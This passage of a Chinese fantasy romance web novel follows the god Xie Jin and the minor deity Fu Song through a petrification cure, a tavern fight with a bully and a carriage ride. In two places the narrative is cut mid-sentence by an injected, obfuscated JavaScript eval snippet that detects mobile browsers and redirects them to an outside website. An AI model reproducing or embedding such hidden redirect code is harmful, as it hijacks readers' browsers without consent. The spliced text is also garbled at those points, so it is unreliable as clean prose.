第二拳下去,它被打穿地心,鼻青脸肿,五脏六腑都变相移了位,咯血不止。 第三拳—— “甭打了甭打了,本尊……啊不,小妖招了便是!”□□妖用两只大蹼掩着肿脸,涕泗横流地告饶道。它怕再接下第三拳,命都没了! 谢烬对翊圣真君使了个眼色,翊圣真君意犹未尽地敛住拳心。 □□妖道:“石禁术乃是至阴之招,便要用纯阳之人来破,纯阳体质的人可以化解石禁术——” 翊圣真君不耐烦,撩起拳心作势招呼下去:“直接说方法!” □□妖忙不迭臊眉耷眼道:“纯阳体质的神,直接亲石像的嘴,石禁术就会化解!” 气氛有一瞬的岑寂。 □□妖见谢烬不语,以为他是为难了,遂露出一抹卑琐的笑:“小妖愿意代劳。” 翊圣真君见它又犯浑,直接一拳招呼了过去,□□妖痛得嗷嗷大嚷。翊圣真君拎起黑白无常的石像:“你把他们各亲一遍!” □□妖犹犹豫豫,推脱道:“小妖体质是个多阴少阳的,亲下去,怕是效果不佳。不若您代劳罢。” 言毕,它毫不意外又被翊圣真君痛扁了一顿。 不过,这一回还真被□□妖说中了,翊圣真君是个纯阳体质的神,当然,昭胤上神更是。 双方斡旋之间,谢烬心中有了成算,阴阳阵的时长有限,他直截了当地挑重点道:“放了小鬼獒。” “是是是……” □□妖做了一个深深提肛的动作,只闻它的大腹便便传了一阵轱辘轱辘声,一坨约莫七尺高的圆锥棕色糊状物坠落在地,泛散着难闻的臭气。 □□妖老实巴交道:“三只小鬼獒就在小妖的便溺里,也没消化,都是活物。” 谢烬俯眸下视,不出多时,三只小鬼獒遂从便溺挣脱出来,浑身的毛都黏糊糊地糊成一团,它们瞅见了芙颂的石像,又看到了□□妖,认定是他将芙颂弄成这样的,龇牙咧嘴冲上去扑咬它。 □□妖被翊圣真君摁着脑袋,任由小鬼獒报复。谢烬注视着小鬼獒,它们是三只半虚半实的亡魂,周身泛散着淼茫的蓝色微芒,等它们泄完愤,他用巨阙在虚空之中画了三张金色罗生符,分别贴在小鬼獒的脑门上,道:“住相已除,即赴往生,勤勤修炼,重塑身心。” 三只小鬼獒乖驯地应下,为首一只问道:“那我们的母亲……” 谢烬道:“一日后,会有神僚带它来接你们。” 小鬼獒们了悟,终于放下不良执念,徐徐化作了三个光团,跟随毕方去了往生桥。 谢烬目光落在□□妖身上,挑了挑眉:“关于归墟魔神,你了解多少?” 一听到“魔神”二字,□□妖勃然变色,矢口否认:“小妖不认识什么魔神,神尊找错人了。” 谢烬若有所思地点了点首:“看来是找对了。” □□妖:“……” 谢烬懒得与它多费口舌,召唤玄武真君前来,施展伏魔锁,将□□妖五花大绑,连带着那些孙辈,也被吸纳入伏魔袋里,等玄武真君带回天庭,听候发落。 隐去之前,谢烬还有一事未解,那便是芙颂身上的石禁术。 11. 【第十一夜】 【第十一章】 夜里濡湿的雨风逐渐歇止,谢烬的云纹袖袍仍在猎猎作响,他敛起袖裾,回身抬眸,静静望向芙颂的石像。 幽暗的月光偏略地斜射而下,她仍维持着俏生生的姿势,周身泛散着一片滟滟的绿湖光,俨同一块巨大的人形玛瑙。 哪怕悉身覆上了硬石,谢烬能够看清她生动的神态,面具之下是两片丰饶而娇嫩的唇,像是夜里绽开的玉梨花,一切春情都毫无保留地蕴藏在里头。 偏偏翊圣真君在他耳屏处烦躁地嚷嚷:“让我亲两个男人,我以后在九重天如何混!清誉都不保了!” 谢烬原本想扬起的手臂,闻及此,拢了回去,建议道:“可以送他们回九幽冥界,泰山府君是个纯阳体质,且是黑白无常的上峰,想必不会不顾下属的安危。” 翊圣真君一拍脑门,笑道:“这个主意好!”——虽说阴损了一些。 他把黑白无常分别扛在左右两肩,正欲走,却发现谢烬仍伫在原处,对着日游神的石像一阵若有所思。翊圣真君以为谢烬是在思量怎么处置她,摆了摆手道:“不若将日游神交回极乐殿,极乐殿总归会找到合适的人选的。” 怎料,谢烬细思了一会儿,摇了摇首,正色:“极乐殿没有纯阳体质的人。” 翊圣真君不是反应迟钝的人,听出了话外之意,纳罕道:“难不成……您想亲自解开日游神的石禁术?” 翊圣真君同昭胤上神做了近万年的拍档,遥想在神院修炼的那些年,昭胤就是出了名的不近女色,性情清冷无尘,透着一股让人难以接近、难以琢磨的疏离气质。 神院的规章制度不如仙院那般,对男女大防有极其严苛的管束,诸多女神甚至也有一些男神心悦他,但没有胆魄在他面前倾诉衷肠,只好委托翊圣真君传递一己情意。 翊圣真君传递了不少,但这些情意最终都是被昭胤以一种温和的方式峻拒了。 时而久之,就没有女神向昭胤陈诉情意了,神院里传出了不少风声,诸如说他冷而无情,铁石心肠,古板无趣……褒贬不一。 放在寻常的神仙身上,听到这些评价早就坐不住了,忍不住要澄清一番的。但昭胤则不然,他不去澄清,也不辩解,更不理会,仿佛这些风声对他而言并不存在。 就连当年大胜蚩尤、平定九重天后,东岳大帝借机想将自己的女儿碧霞元君许配给他,亦是被他婉拒——唉,这可害惨了碧霞元君那位女神,数万年过去了,仍然对昭胤上神念念不忘。 翊圣真君认定了昭胤是个淡薄的神,他注定是不会有感情的。可反观当下,见他对一位来至极乐殿的小神格外关照,翊圣真君难免会多想。 许是洞察出了翊圣真君的内心戏,谢烬嗓音沉淡:“日游神遭此困境,因我而起,本不该将她牵连入魔神的案子。” 翊圣真君本来心中不免生出了一丝揣测,但听及光明磊落的发言,那些揣测一扫而空。他还真是多想了,在昭胤的眼中,日游神就只是个不成熟的小姑娘罢了,比起莫须有的男女之情,他对她更多的只会是长辈对晚辈的关照罢了。 翊圣真君想通了这一层关窍,便放下心来,原地画了一处通灵阵,扛着黑白无常就往九幽冥界去了。 风势逐渐缓和下来,芙颂的石像伫在月色下,一动也不动,一抹温润微凉的雨打湿了她的嘴唇,玉梨花在谢烬的眼底悄然绽了开。 他徐徐抬掌,摩挲着这一枝玉梨花,指尖覆上来一片柔软香腻的触感,仿佛涓涓细流荡漾在掌心腹地,一股酥酥的、烫烫的的悸意,疯狂地往他指缝钻。 她并不高,身量只抵他的胸-膛,显得格外娇小。谢烬扶着她的两侧肩膊,稍稍俯身,朝左偏头,嘴唇轻轻触碰着她的上唇。 夜色里周遭是一片虫鸣唧唧之声,还有蠕蠕不安的咬嚼之声,还有无所不在的莲花香,香得晕眩欲醉。 谢烬吻她了一下,随后克制有礼地松开。 也是在这样的时刻里,他心中那一份奇异的情绪愈发浓烈了。 且看芙颂醒来后,能否记得了。 他希望她完全记不得,又希望她能记得。 —— 芙颂神识恢复清醒之后,是在翌日晌午。醒来时,头昏昏沉沉的,脑海里还播放着在天符庙被□□妖追杀的噩梦,惊得她出了一身冷汗,汗渍浸湿了后背。 “师妹,醒了吗,可知晓自己身在何处?” 芙颂的眼前淡入了夜游神那一张玩世不恭的脸,他正用一枝椽笔的笔尖扫着她的鼻梁,芙颂被迫打了个喷嚏,噩梦溃散,整个人一下子变得清醒起来。 她举目四望,室内一片幽静,弥散着淡淡莲香,小轩窗漏进来的炽碎日光,透过檀色的一层金丝篾帘,洒照在由莲花构成的床榻上,跳动在芙颂的鬓角处,显暖烘烘的。 这不是极乐殿配套的神官宿舍——九莲居吗? 芙颂有了初步的推断,想来是夜游神从那个□□妖手中救下了自己。她担忧地望向夜游神,上下打量着他:“师兄怎么样了,可有受伤?——疼啊,师兄为何敲我脑袋!” 夜游神拢回椽笔,凝声训斥道:“你该担忧的是我?该是你自己。在玉简上收到你的信息,我只知你在豫州,却不知你具体在何处,只好发动豫州地方上的神仙一同寻找了,好不容易寻到你的下落,你却是不见了踪影。那座天符庙一片狼藉,处处都是白骨,目睹此状,你知晓我有多忐忑,担忧你败给了那头臭□□,修为被他吸尽化作白骨了。” 芙颂从未见夜游神用如此严厉的语气说话,可见他是真的担心坏了,她反而舒下了一口气,咧开嘴笑出声来:“我玉简只发了前半段,师兄就能觉察到我出事了,发动神力来找我,我十分感动,要不今昼下值后,我请你去渔阳酒坊喝酒呀!” 说着,芙颂伸出左手,作势要与夜游神击掌为誓。 夜游神望着如此豁达开朗的师妹,一阵无语凝噎,语气故作严厉:“你最好给我老老实实呆着,哪儿也不去,在九莲居好生养伤。” 芙颂思及自己与昭胤上神的三日之约,不由着急了起来,道:“我前些日子在盛都宣武门结识了一头身负重伤的雪獒,她有三个孩子,却被其生父谋害了。我答应过她,要为她伸冤,若我现在不去,她很可能就会不能顺利往生。” 说着,就要下莲床,夜游神摁住她:“雪獒和它的孩子,今昼已经过了往生桥,是师傅亲自护送它们去的。” “师傅护送的?”芙颂有些讶异。 “听闻是玄武真君亲自来了一趟极乐殿,说是受上神之命,请师傅送雪獒前去往生,至于是哪位上神,就不得而知了。说起来,这件事儿还挺让我纳闷。”夜游神道,“极乐殿成立了这么多年了,还是第一次有上神眷顾。对此,师傅说,师妹你受了一次伤,就给极乐殿带来了好运,他老人家索性就给你休了七日沐,作为犒赏。” 芙颂感觉怪怪的,师傅又抠门又吝啬,从不给极乐殿各位神僚涨薪、批假,今次怎么会对她独施恩惠? 芙颂先摁住心中疑绪不表,问正事:“那承安公主可有康复?王栩是否遭受到了该有的惩戒?” 夜游神撇了撇嘴:“那三只小鬼獒脱身后,承安公主下半夜就醒转了,获悉真相后,她愧怍不已,带发去大相国寺修行一年,为雪獒和三个孩子祈福念经。” “至于那个王栩,声名狼藉,被褫夺了官爵,流徙千里,也是报应。” 凡人各有各的造化,一切的恶缘都离不开“贪、吃、嗔、慢、疑、不正见”。神明纵使有通天的神力,所能左右的事,也是极有限的。 芙颂撇下过往种种,开始想休沐的事。 若休七日沐,那她就不方便下凡去跟白衣谪仙睡觉了。 不是不想休沐,而是睡个好觉比休沐更有性价比。 甫思及此,芙颂便开始酝酿婉拒休沐的腹稿了:“师兄,我其实……” “这七日如何度过,师兄已经为你安排好了。” 说话间,夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408655|168780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游神将一坨小山般的书放在芙颂的面前,她信手翻了一翻,惊讶得舌桥不下:“怎的全是经书?” 夜游神正色道:“第一日抄《金刚经》,第二日抄《心经》,第三日抄《楞严经》,第四日抄《六祖坛经》,第五日抄《法华经》,第六日抄《华严经》,最后一日抄《无量寿经》。” 他用椽笔点了点芙颂的发梢儿,口吻温和又残忍:“七日之后,师兄会来检查你的抄本。倘若抄不完,便继续休沐七日。” 言讫,夜游神阖上了九莲居的门,扬长而去。 芙颂:“……”她快不认识“经”这个字了! 为何师兄突然让自己抄这般多的经书,难道说……师兄已经觉察到了什么? 芙颂心存困惑,拿起了《心经》,好巧不巧翻到讲色与实相的那一篇:「色即是空,空即是色。」 芙颂心中默念着这八个字,不知为何,竟莫名其妙地心虚起来。 脑海里一下子浮现出了白衣谪仙清峻出尘的面庞,她承认自己见色起意,想当初,选择白衣谪仙当自己的睡伴,有很大一部分原因是他生得好看,就像春神羲和所说,谁不想跟生得好看的男子睡觉呢? 但这些想法,万不能被师兄知晓。 为了避嫌,芙颂只好认命地抄经,抄经抄得她哈欠连连,眼泪都出来了,偏偏自己完全睡不着。 第一日好不容易抄完《金刚经》,芙颂就想躲懒了,但经书不抄完,届时没法子对师兄交代,可该如何是好? 正犯难间,一只纸叠的璧色画鸟从小轩窗外遛窜了进来,降落在了芙颂面前的长案上,画鸟虽是纸叠的,但开口能言,传来了羲和的声音:“小颂颂,在哪儿快活呀,给你发了这么条信息,都不理人家!” 芙颂的玉简在与□□妖的战斗中损毁了,配置新的玉简需要三七二十一日,期间任何人要联系上她,只能用最初级的传声纸鸟了。 芙颂只好将这几日发生的来龙去脉,都讲给了羲和听。 羲和听闻芙颂在熬夜抄经,心疼起来:“抄那些破经了,赶紧去睡觉。再说了,你近两日没下凡睡觉,指不定那位白衣公子正挂念着你。” 芙颂容色窘迫,小声嘀咕道:“就别打趣我啦。我是怕师兄发现真相,才抄经掩人耳目的。” 纸鸟那头停顿了一瞬,便道:“不若这样,接下来五日,你我互换身份,我替你抄经,你只管下凡去休息。” 羲和太仗义了,芙颂感动得热泪盈眶:“好,那我届时请你喝酒!” 两人一拍即合,半个时辰后,羲和暗自潜入了九莲居,芙颂与她互换了衣物和身份牌,随后芙颂就悄摸摸下凡去了。 中途还特意绕开了夜游神的巡守路线。 来至不二斋,已经是子夜时分,原以为白衣谪仙已然熟睡的了,哪承想,床榻上空空如也。 那只花笼里的红鹦鹉也不在了。 偌大的书斋,变得清减了许多,没什么人烟气。 芙颂心中有一小块塌陷了下去,忙去问戟门前石敢当。 石敢当道:“谢教谕回盛都述职去了。据闻刚好赶上王状元郎谋害皇家公主一案,圣上属意让他填补王状元郎在翰林院里的缺。” 芙颂清楚凡间官场上的规则,道:“他回京述职去了,可还会回江南?” “这个嘛……老夫就不清楚了,但老夫有个孪生弟弟在紫禁城前,它可是盛都百事通,您若是想知道谢教谕的下落,可去寻它打探一下。” 芙颂心里空荡荡的,她也说不明白自己为何会有空荡荡的感觉。 连夜去了盛都,寻紫禁城前的那座赑屃打听了一下,倒是问出了一些线索。 赑屃道:“一个时辰前,确乎见到了一个叫谢烬的臣子从宫中出来,迩后随着一众官员往那一座酒坊去了。” 芙颂道:“什么酒坊?” 赑屃道:“好像是叫什么……渔阳酒坊。” 咦,那不是她经常与羲和喝酒的地方吗? 12. 【第十二章】 【第十二夜】 夜里的渔阳酒坊,照旧是灯火璀璨,一派十分热闹的光景。 芙颂化作凡人,刚到行到了酒幡之下,掌柜胡煜便热忱地迎上前来:“芙娘子,今日有空来饮酒了,照旧是一坛屠苏酒、一盘凉拌黄瓜和一叠炙鸡,是么?” 胡掌柜本体是一头修炼成人的千年熊罴,憨厚实在,有容乃大,既做人的生意,也做神魔鬼怪的生意,并且能够记得每位酒客的身份和面貌。今次芙颂戴了羲和的身份牌,胡掌柜也没认岔,并报出了芙颂的惯常点的心仪菜式。 芙颂点了点头,胡掌柜将毛巾往肩膊上一搭:“好嘞,那芙娘子先上雅间,好生休息一下。酒菜马上就来——” 芙颂挂念着白衣谪仙,试探性道:“对了,不知胡掌柜可有留意到一群文质彬彬的朝臣来此饮酒?” 胡掌柜捏了捏胡子,嘿嘿一下道:“自然是记得的,他们来了有好一会儿了,如今正在三楼的焦尾轩。不过……” 他露出了犯难的表情。 芙颂觉察出一丝端倪:“不过什么?” “这一群人当中,有位酒客极其难伺候,名为泰山三郎,他仗着自己的父亲是冥界的泰山府君,常在小人这儿白吃白喝,醉了以后,还经常强拐一些凡间姑娘当自己的妾室,姑娘若不从,泰山三郎就会动用邪蛮之力,吸尽姑娘的精气。唉,时而久之,已然有不少姑娘遭到他的毒手,也没人敢正面反抗他。” 芙颂微微凝眉:“天子脚下,竟还会发生这等事儿?” 她对泰山三郎这号人物并不陌生,凡间有欺世盗名的恶霸,神界自然也有,泰山三郎便属其中的翘楚。 说话间,三楼的焦尾轩就传了一阵高傲的怒斥声:“偌大的酒坊,难道就没有一个女姬伺候?小爷要女姬,一刻钟内若是没有寻到合眼的前来助兴,小爷就砸了你们这个破酒坊!” 紧接着,一个店小二一边哈腰道歉一边逃下楼,到胡掌柜面前诉苦时,芙颂才发现,店小二满脸是淤青,估摸着是酒杯砸出来的。 胡掌柜是渔阳酒坊的话事人,连忙上楼安抚泰山三郎的情绪,又灰头土脸地下了楼来。 芙颂心道:“这样让泰山三郎横行霸道下去,根本不是办法。打探白衣谪仙的下落固然重要,但得先解决胡掌柜的燃眉之急。” 她捋起袖裾,作势上楼,胡掌柜料到她要出头,连忙掖住:“泰山三郎岂你能够惹得起的?担心被他抓去!” 芙颂摇了摇头,莞尔道:“胡掌柜信不信,我打了他,他不仅不会苛责于我,反而还会殷勤热络地央求我继续打?” 胡掌柜讶异不已:“当真如此?事成之后接下来一个月的酒钱,小人都请,随便芙娘子吃。” 芙颂换上了一袭女姬的流苏衣物,端上了酒,模仿凡间舞女的模样,拗着腰肢上了焦尾轩。 谁知一进了油漆粉红屏门,她却先看到了觅求久矣的白衣谪仙。 烛影萧疏,华服美馔,觥筹交错。在一片阑珊的灯火间,谢烬斜倚在北面的暖榻上,披了曲水青锦织的宽大袍子,袍襟处绣描有淡泊超逸的竹叶,那眉间竟似糅着缥缈出尘的仙气与慵懒。 郎艳独绝,世无其二——这是芙颂心头冒出的一句修饰。 过去同床共枕的那几夜,她对他的印象还停留在白衣阶段,觉得他清正端方,七分君子三分古板,第一次撞见他穿着不同色系的衣物,与左右朝官游刃有余的清谈着。 “士别三日,即更刮目相待”,这句古话当真是没错的。 谈笑间,谢烬修长眉目漫不经心一扫,落在了芙颂身上。芙颂只觉这一道目光颇有威压,下意识心虚地垂下了头。 她是来做坏事的,千万不能被白衣谪仙发现了底细! 好在他的视线只在她身上伫停了一息,轻描淡写地掠过去了,并无多余的反应。 酒席上除了有谢烬,还有其余七位朝官,其中有一位晃着折扇的紫衫男子最是显眼,他生得膘肥体壮,一脸蛮淫之相,摊开折扇时,扇面赫然写着六个狗啃般的大字:“三郎天下第一!” 相当于主动对芙颂自报了家门。 芙颂先是给其他朝官呈上了酒,最后轮到泰山三郎,她大袖之下默默顺出了招魂伞,伞面应景地演化成了一只大戟形态的竹棍。 众目睽睽之下,她轻盈地绕到泰山三郎背后,一截素手轻轻叩了叩他的肩膊:“可是三郎?” 女郎嗓音软糯如糖,语气纤弱如酥,一下子软了男人的耳根,他心道肯定是那掌柜请来的女姬,殷勤收扇,作势搂女郎的腰肢—— 芙颂弯了弯眉眼,抻腕扬臂,掌中竹棍一气呵成地直捶下去,不偏不倚捶在了泰山三郎的天灵盖上! 原是热闹喧嚣的空气,猝然沉寂无声。绝大多数人都被这一幕震住了。 泰山三郎重重挨了一棍,疼得倒吸一口凉气,即刻勃然大怒,额庭青筋暴突,掀案而起:“你这婆娘,真是吃了雄心豹子胆,以为自己光有几分姿色,就敢骑到小爷头上!” 芙颂受了惊吓,垂眸愧怍道:“请官爷息怒!” 她解释道:“是奴家认错了人,以为官爷是风靡盛都的泰山三郎……” 听及“风靡盛都”四字,泰山三郎火气消了一半,没有立刻动粗,恰逢旁边有扈从冷汗潸潸地提醒道:“他便是泰山三郎。” 芙颂摆出不信的神态:“莫要逗趣奴家了!传闻中的泰山三郎,魁梧健硕,孔武有力,且是有容人之量的翩翩君子,任凭外人如何挑衅,他绝不动怒,更不还手。” 话锋一转,芙颂娇怯地睇了一眼泰山三郎,嗓音越来越轻:“奴家轻轻打了官爷一下,官爷就承受不住了,焉会是那驰名盛都的泰山三郎?” 言讫,正欲离去,泰山三郎倒是听得满面红光,亟亟上前,一柄折扇拦在她,兴奋道:“这盛都的百姓们,当真这般夸赞小爷?” “可不是,”芙颂神往道,“上至耄耋老叟,下至垂髫稚子,都在讴歌着泰山三郎的丰功伟绩。只是可惜……” 泰山三郎忙问道:“可惜什么?” 芙颂喟叹了一口气:“奴家遍寻盛都,四处打探泰山三郎的消息,竟是遍寻无获。若是目睹三郎的尊容和身姿,奴家也是一生无憾了。” 芙颂望着泰山三郎,口吻尽是失落:“偏生官爷在戏弄奴家,官爷不是泰山三郎,毕竟……泰山三郎不可能肚量如此之小,身板还这样羸弱。” 泰山三郎急眼了:“女姬今番找对了人!小爷就是风靡盛都的泰山三郎!” 芙颂将信将疑,道:“……当真?” 泰山三郎昂首挺胸,又指了指自己的脑袋:“女姬若不信,尽管来试!民间不是有句俗语,是骡子还是马,拉出来遛一遛就知晓了。小爷让你试个够,直至你相信为止!” 席面各处传了不少隐忍发笑的声音。不知是不是出于芙颂的错觉,她觉察白衣谪仙薄唇抿成了一条细线,似乎也在笑。 是笑她的搞怪,还是在笑泰山三郎的滑稽? 芙颂拢回目光,故作举棋不定:“官爷让奴家为难了,奴家怕官爷出有个好歹,为难奴家事小,但会为难酒坊的掌柜和小二们……” “女姬不信小爷的人品?奉陵,快去具呈笔纸!” 很快,那位叫奉陵的扈从就呈上了笔墨纸砚,泰山三郎在纸上写下豪言壮语,给芙颂过目后,他才画了押。 芙颂拿起纸契,传给席面上各位朝官过目,这张纸最后落在了谢烬手上,他细细观阅了一番,在纸契上小作修缮,迩后淡声道:“可以。” 芙颂莫名放了心,道:“诸位为证,是官爷请奴家打他。” 竹棍在她的掌心间优雅地旋转一周,这一回,她不打头了,照定泰山三郎的肚腹直杵而去。空气之中撞入了一阵清量的殴打声,泰山三郎丝毫没有防备,腹中传来剧痛,直截了当地跪伏在地,容相十分狼狈。 芙颂忧虑地问他可还承受得住,泰山三郎顾及自己的颜面,也不要奉陵的搀扶了,颤颤巍巍地爬起来,称自己无碍,让芙颂打。 这一幕不仅被在座的朝官看到了,躲在焦尾轩外的胡掌柜和店小二也看到了,店小二震惊地对胡掌柜道:“泰山三郎果真乖乖让芙娘子打诶!芙娘子好生厉害!” 芙颂对他们眨了眨眼,他们便收声了。 这端,奉陵望着鼻青脸肿的泰山三郎,忧心忡忡道:“少主,要不别继续了,您身上添了不少伤。” 泰山三郎浑不在乎地摆了摆手:“这点小伤不算什么。来,女姬,继续打!使点气力!” 芙颂勾了勾眼,心道一声:“好啊,这一回打到你卧床不起,无法再来凡间祸害无辜女子。” 她是这般想的,也是这般做的。 自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408656|168780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的力量虽不如武神,但对付一个疏于修行的神界恶霸,还是绰绰有余的。 她默念莲生力士咒,泉涌般的力量汇聚于掌心,她握紧竹棍,最后一棍抡下去,泰山三郎如沙包般飞了出去,飞出焦尾轩,落在了水榭的池子里,然而池子无水,空空如也。奉陵看得心惊肉跳,连忙去救少主。 芙颂露出恍然大悟的样子,煞有介事道:“原来官爷真的是泰山三郎!真是幸会,我会把我今夜所见,转告给盛都的父老乡亲们的。” 摆平泰山三郎后,芙颂将纸契躬自交付给胡掌柜,胡掌柜佩服得五体投地,作势要请芙颂喝酒。 芙颂摆了摆手:“泰山三郎也不是傻子,等他反应过来,怕是会很棘手,我得赶在他昏厥时离开。” 芙颂离开了渔阳酒坊,才开始想自己来盛都的正事。 她是来打探白衣谪仙的下落的。 方才看到他也在席面上喝酒,既如此,他的马车应该是在酒坊东面的马厩里。 横竖她剩五日的假期,倒不如随心所欲一些,他去哪儿,她就去哪儿好了,睡也要同他睡在一处。 —— 泰山三郎醒过来后,才姗姗反应过来,自己是被那个新来的女姬戏弄了,还叫一众同侪看尽了笑话,顿时怒不可遏,发动扈从大肆搜人,焦尾轩内乱作一团。 朝官们已无饮酒的兴致,当下也不好去触泰山三郎的霉头,忍着笑各自散去。 泰山三郎怀疑女姬是胡掌柜安排来整蛊自己的,便要发难。谢烬静坐在榻子上,慢条斯理地晃着酒盏,淡声道:“契书为证,三郎是要出尔反尔?” 泰山三郎一怔。 谢烬是圣上钦点的麒麟之臣,是镇妖司的新任司长,泰山三郎今夜设宴的主要目的,就来着重拉拢谢烬的人心,当下不好开罪,只陪着笑脸道: “怎会、怎会!胡掌柜给小爷寻了个如此有个性的女姬,小爷高兴得很,会铭记那位女姬一辈子,还望胡掌柜留点心,莫要再让小爷遇着那位女姬了!” 胡掌柜感恩地望向谢烬,随后退下了。 谢烬此番上盛都,一方面是面圣述职,另一方面是调查泰山三郎。□□妖招供了,过去几千年来,它为泰山三郎办事卖命,深知泰山三郎与魔神座下的弟子来往甚密,既如此,打通了泰山三郎的关节,顺藤摸瓜寻到魔神座下的弟子,极可能知道魔神的下落。 这也是谢烬与泰山三郎交游的缘由。 但今夜,有一位不速之客搅乱了他的计划。 惊走了地头蛇,他得另觅其他计策。 他在盛都只能待七日。七日之后,要返回庐陵郡。 不过…… 按住正事不提,芙颂的出现,委实有些出乎谢烬的预料。 思忖之间,泰山三郎殷勤地晃了晃折扇,道:“话说回来,后日小爷会在十刹海举办春日雅宴,延请了万象宫那一群饲花养草的女神来热场子,此则请帖,谢兄幸毋推辞。” 这是变相朝谢烬递来了橄榄枝。 谢烬含笑接过:“既是三郎盛情,必是要去的。” 离开渔阳酒坊,他准备回镇妖司的馆舍,甫一解开车帘,黄澄澄的风灯如一枝细腻的工笔,巨细无遗地描摹出了轿厢内女郎玲珑纤细的轮廓。 芙颂没有穿着女姬的服饰,流苏面纱也揭了下来,换回了平素惯穿的流苏霓裳绿衣。 今夜的她没有戴白色面具,露出了真实的芳靥。 谢烬注视着这张脸许久,久得芙颂觉察到了事态不对劲:“公子……能够看得见我?” 她现在是日游神的身份,也就不自称“奴家”了。 谢烬挑了挑眉,并不开口。 芙颂与他对视了良久,最终在男人漆黑的瞳仁之中,看清了缩小的自己。 ——糟糕了,她没有隐身! 不是她忘记捏隐身诀,而是,她现在挂着春神羲和的身份牌,每一位神职人员施加神力的咒语,都不是完全相同的,挂着哪个身份牌,就需要念对应的咒语,所施展的神力才能完全显效。 显然,关于隐身诀,芙颂与羲和的咒语并不相同,互换身份后,芙颂念了自己的咒语,就失效了。 偏偏她对此一无所察,还被白衣谪仙逮了个正着,真容被他完完整整地看到了! 师傅规定过,日游神的本体,是不能被凡人看到的! 13. 【第十三章】 【第十三夜】 谢烬不知芙颂的内心戏,发现她的肤色肉眼可见地红了起来,她搴起大袖掩着小脸,缩在窗檐下,离他远远的,像一只头埋沙子的小鸵鸟:“完蛋了,都看到了,该如何交代……” 谢烬见到对方这般怯生生的,与在酒席上的英姿全然判若两人。反差之大,教他觉得煞是有趣。 垂帘之外传了毕方的声音:“公子,我回来了,可以启程回馆舍了吗?” 芙颂从大袖里忐忑不安地抬起眼来,与谢烬的眼神交汇,但他那一双邃眸没有情绪没有惊澜,裹藏着令人捉摸不透的淡寂。他上轿坐定后,静默片晌,忽而朝芙颂所在的方向伸了手。 他是要做什么?要驱逐她吗?还是…… 思及此处,芙颂的心头忽然泛起了一阵紧张,忍不住阖上了眼。 只听耳屏处传了一片清越的窸窣声,像是整齐的竹片唰唰地垂落下来,芙颂小心翼翼睁眼观察情状,适才发现,原来是白衣谪仙将车窗处高悬的簟帘放了下来,簟帘隔绝了外面的人籁与喧嚣,轿厢的氛围变得宁谧起来。 谢烬放下簟帘后,便袖手坐回原处,拿起一旁的书卷来读。位置刚好是芙颂的斜对面,芙颂等他开腔说话,但煎熬地候了一刻钟,他始终不曾开口。 一个胆大的猜测浮上了芙颂的心头,她挪了挪身子,挪到谢烬的对面,拉近了与他的距离后,她试探性地伸出一截手腕,在他与书页之间轻微地晃了一晃。 谢烬神态如常,目光不曾发生丝毫变化,似乎不因她的动作而受影响。 芙颂试了好几回,他都没有反应,她悬在心上的大石头安然落地。 原来,白衣谪仙并未看到自己呀。 她逐渐放下了戒备,没骨头似的摊靠在暖坐上。 呼……好险,人不要自己吓自己! 轿厢十分宽敞,隔间里放着诸多竹简和书札,恰若雪案堆花,萤囊替火。芙颂心道:“这些书想必是他从江南带回京城的,真是一个随时随地都读书的人,士大夫果真是爱书如命。” 她好奇白衣谪仙正在看的书,打算上前瞄一眼,哪知道,他似乎觉察到她的靠近,有意用袖裾掩住大部分内容,让她看不明晰。 他越遮掩,芙颂反倒是愈发好奇了。 白衣谪仙遮住左边,那她索性绕到他的右侧。 偏偏她刚绕到他右侧时,白衣谪仙就拂袖散开了左边的内容,反而用右掌掩住了右边的内容。 芙颂:“……” 是自己的错觉吗,怎么感觉白衣谪仙是故意不给她看的呢? 可是,他分明看不到她,又如何会有“故意为之”的说法? 哼,她得想一想办法。 谢烬望着芙颂两腮鼓鼓,一副咬牙切齿的样子,他薄唇抿成一条细线,莫名觉得有些好笑,刚想大大方方摊开书页,任她看个够—— 下一息,他身躯微微一僵。 自己的左侧颈窝处拱过来一个乌绒绒的脑袋,两条纤细的藕臂伸了过来,从背后一口气搂住了他的肩膊,像个糯叽叽的米团子。 与她身上的莲香漫延而来的,还有她鬓角处垂落下来的发丝,如一串绿茸茸的柳枝,若即若离地拂扫着他的颈侧和手背,掀起了一阵绵长久远的痒意。 月影萧疏,风灯盈煌,两道身影严丝合缝地贴在一起。阒寂的马车里,只余下彼此衣料碰蹭在一起的动响。 谢烬的视线从书页落在了左下方的脑人儿上,眼神晦暗未明。 她比与他预想中的,要轻盈柔软。 芙颂正一个劲儿地盯着书页上的内容看,自是没有觉察到男人正在注视她。 原以为是晦涩难懂的经文或是史文什么的,没想到是——“出其东门,有女如云。虽则如云,匪我思存。” 竟是诗经里的《东门行》一篇。 这可是情诗啊! 芙颂的眸子在阑珊的灯火之中瞠住了。 应景地是,马车之外响起了烟火升空之声,芙颂好奇地揭开帘子一角,发现马车对面的江岸上升起了无数璀璨的烟火,烟火之下,无数男男女女结伴而行,女方手上拿着红津津的冰糖葫芦,芙颂望着冰糖葫芦,忍不住咽下了一口干沫。 一阵咕噜咕噜声在车厢内响了起来。 芙颂腼腆地捂住肚子,下意识道:“不是我。” 想起来了,她今夜光顾着教训泰山三郎了,也就忘记用膳了,现在肚子饿得咕咕叫。 